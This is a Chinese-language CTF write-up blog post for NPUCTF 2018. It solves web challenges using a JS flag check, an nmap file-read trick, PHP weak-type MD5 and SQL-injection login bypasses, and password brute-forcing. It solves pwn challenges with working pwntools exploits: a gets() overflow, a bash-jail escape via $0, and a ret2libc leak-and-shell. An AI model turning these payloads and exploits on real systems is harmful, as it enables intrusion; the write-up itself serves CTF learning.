NPUCTF部分Writeup
2018/05/13 Pwn writeup WEB NPUCTF

WEB

签到

ida1

查看源码
ida1
得到Flag : flag{begin_to_npuctf}

  • 代码

ida1
猜测应该是js算法题目

查看源码发现主要算法
ida1

分析

可以看到

var b = "56ab34c15b73a457069c58a43fcfc640";
var d = 0x0;
var e = a.substr(0x8, 0x5);
if ($.md5(e) == b.replace(/3/ig, ++d+1).replace(/8/ig, 'e'))

通过控制台可以获得e
ida1
解密可以获得9-13位 happy

if (f.substr(0x5, 0x2) == "be" && $.md5(f.substr(0x0 / d, d + 0x3)) == "327a6c4304ad5938eaf0efb6cc3e53dc") {

可得 6 7位为 be
解密 327a6c4304ad5938eaf0efb6cc3e53dc 可获得 0-3位为 flag

ida1

运行可以获得g=np

if (r.substr((++d) * 0x3, 0x6) == g.concat("uctf") && c.test(a)) {

分析可知 得到的g和uctf进行拼接 得到 npuctf 15-22位

<pre name="code" class="javascript" style="font-size: 13.3333px;">r.charCodeAt(--d) - 0x19 == r.charCodeAt(--d) //r[1]-0x19==r[0]
之后根据正则可知r[0]='_'

倒回去看r变量的判断

0的值为_下划线unicode码加25

所以在控制台输入下面3条代码,即可得r两个相同的字符为xx

var r = ‘_’

console.log(r.charCodeAt(0))

console.log(String.fromCharCode(95+25))
所以最后拼接可得
flag{be_happy_xxnpuctf}

命令

题目:你需要懂一些Linux命令,已经为你装好了某著名黑客工具。
ida1
测试可知 可以执行一些命令 并且 ls列出了flag所在目录
ida1
但是却无法使用 cd cat 等一系列命令

右键查看源码
ida1
发现提示 可以猜测应该 是可以使用nmap
所以使用命令

nmap -iL /tmp/flag/flag.txt

ida1
得到Flag : flag{nice_Command}

login

ida1
进入发现需要登录

右键查看源码得到提示
ida1
这里存在PHP弱类型漏洞 提交name=240610708 pass=QNKCDZO 成功绕过

ida1

第二关

根据放的hint可尝试万能密码绕过
提交 ‘or’=’or’ 成功绕过

ida1

第三关

提示了name为 npusec 但是密码未知所以这里猜测需要爆破密码

通过robots.txt泄露

ida1
得到 密码字典 所以进行爆破即可

ida1
得到密码为 1234npuuu
ida1
登录获得Flag : flag{W3lcOme_com3_to_ctf}

PWN

pwn_checkin

载入ida分析

int vuln()
{
  char s; // [esp+0h] [ebp-48h]

  puts("why not you input something?");
  gets(&s);
  return 0;
}

漏洞存在于gets函数
继续分析

int call_system()
{
  return system("/bin/sh");
}

题目中提供了shell所以 只需要溢出 修改ret到 call_system 地址即可

offset = rbp-48h -(rbp-0x4)

所以构造exp

from pwn import *
#p = process('./checkin')
p = remote('149.28.142.91',10000)
sys_addr = 0x080484EB

payload = 'A'*0x48 +'aaaa'+p32(sys_addr)
print payload
#p.recv('why not you input something?')
p.sendline(payload)
p.interactive()

baby_bashjail

载入ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("======baby jail======");
  while ( 1 )
  {
    putchar(62);
    fgets(&s, 20, stdin);
    if ( (unsigned int)filter(&s, 20LL) )
      break;
    system(&s);
  }
  putchar(62);
  puts("No way! Little Hacker!");
  return 0;
}

发现程序提供了system 但是 使用前使用filter进行参数的判断
查看 filter函数

_int64 __fastcall filter(const char *a1)
{
  int i; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = strlen(a1);
  for ( i = 0; i < v3; ++i )
  {
    switch ( a1[i] )
    {
      case 'l':
        return 1LL;
      case 's':
        return 1LL;
      case 'c':
        return 1LL;
    }
    switch ( a1[i] )
    {
      case 'a':
        return 1LL;
      case 't':
        return 1LL;
      case 'f':
        return 1LL;
      case 'l':
        return 1LL;
      case 'g':
        return 1LL;
      case '*':
        return 1LL;
      case 'c':
        return 1LL;
    }
  }
  return deep_filter(a1);
}

进行判断检查 不能存在这些关键字母 并传入depp_filter
查看deep_filter

signed __int64 __fastcall deep_filter(const char *a1)
{
  int i; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = strlen(a1);
  for ( i = 0; i < v3; ++i )
  {
    switch ( a1[i] )
    {
      case 'b':
        return 1LL;
      case 'd':
        return 1LL;
      case 'e':
        return 1LL;
      case 'h':
        return 1LL;
      case 'i':
        return 1LL;
      case 'j':
        return 1LL;
      case 'k':
        return 1LL;
      case 'm':
        return 1LL;
      case 'n':
        return 1LL;
      case 'o':
        return 1LL;
      case 'p':
        return 1LL;
      case 'q':
        return 1LL;
      case 'r':
        return 1LL;
      case 's':
        return 1LL;
      case 'u':
        return 1LL;
      case 'v':
        return 1LL;
      case 'w':
        return 1LL;
      case 'x':
        return 1LL;
      case 'y':
        return 1LL;
      case 'z':
        return 1LL;
    }
  }
  return 0LL;
}

哇 这么狠 原来就是把所有字母都过滤的
但是题目需要利用system进行flag的获取
argv[0]相当于 sh
所以 只需要传入 $0 就可以获取一个shell

EXP

from pwn import *

p = remote('149.28.142.91',10002)
p.sendline('$0')
p.interactive()

Warrior_Tales

ios@ubuntu:~$ checksec warrior_tales
[*] '/home/ios/warrior_tales'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~$

开启NX和RELRO

载入IDA分析 漏洞存在于vlun函数里

int vlun()
{
  char s; // [esp+8h] [ebp-30h]

  puts("Hero! Now, write something for your story!");
  gets(&s); //漏洞利用点
  puts("What a wonderful ending!");
  return 0;
}

但是由于RELRO开启不能直接利用libc构造rop 必须leak出真实地址进而获得system_addr
之前由于偏移写错导致leak一直有问题0.0
通过构造循环来leak puts_addr
这里构造思路有两种
第一种

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
vlun_addr = 0x08048659

payload1 = "A"*52+ p32(puts_plt) + p32(vlun_addr) + p32(puts_got)

通过vlun函数循环进行leak

第二种

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
start_addr = 0x080484D0
payload1 = "A"*52+ p32(puts_plt) + p32(start_addr) + p32(puts_got)

通过循环程序进行leak

可以获得puts_addr

[DEBUG] Received 0x59 bytes:
    00000000  57 68 61 74  20 61 20 77  6f 6e 64 65  72 66 75 6c  │What│ a w│onde│rful│
    00000010  20 65 6e 64  69 6e 67 21  0a a0 1c d9  f7 40 a5 d4  │ end│ing!│····│·@··│
    00000020  f7 60 23 d9  f7 20 39 d9  f7 c0 e0 d8  f7 0a 48 65  │·`#·│· 9·│····│··He│
    00000030  72 6f 21 20  4e 6f 77 2c  20 77 72 69  74 65 20 73  │ro! │Now,│ wri│te s│
    00000040  6f 6d 65 74  68 69 6e 67  20 66 6f 72  20 79 6f 75  │omet│hing│ for│ you│
    00000050  72 20 73 74  6f 72 79 21  0a                        │r st│ory!│·│
    00000059
puts_addr= 0xf7d91ca0
[*] system = 0xf7d6cda0

由于服务器关闭 这里本地进行getshell

exp

from pwn import *
from struct import pack

context.log_level = 'debug' 
#libc = ELF('libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('warrior_tales')

p1 = process('./warrior_tales')
log.info(p1.recvuntil(">"))
p1.sendline('ios')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('2')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('2')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('2')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('2')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('2')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('2')
log.info(p1.recvuntil("select your choice:"))
p1.sendline('1')
log.info(p1.recvuntil("Hero! Now, write something for your story!"))



puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
vlun_addr = 0x08048659
gdb.attach(p1,'b *0x08048659')
raw_input('Go!!!')
payload1 = "A"*52+ p32(puts_plt) + p32(vlun_addr) + p32(puts_got)
p1.sendline(payload1)
p1.recvuntil('What a wonderful ending!\n')
data=u32(p1.recv(4))
puts_addr=data
print 'puts_addr= '+hex(puts_addr)

system=libc.symbols['system']-libc.symbols['puts']+puts_addr
log.info('system = ' + hex(system))
binsh=next(libc.search('/bin/sh'))-libc.symbols['puts']+puts_addr

payload="A"*52+p32(system)+p32(1)+p32(binsh)
p1.sendline(payload)

p1.interactive()

运行结果

$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x4 bytes:
    'ios\n'
ios
$

最后感谢下 kaka师傅指出我的错误(0~0)

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!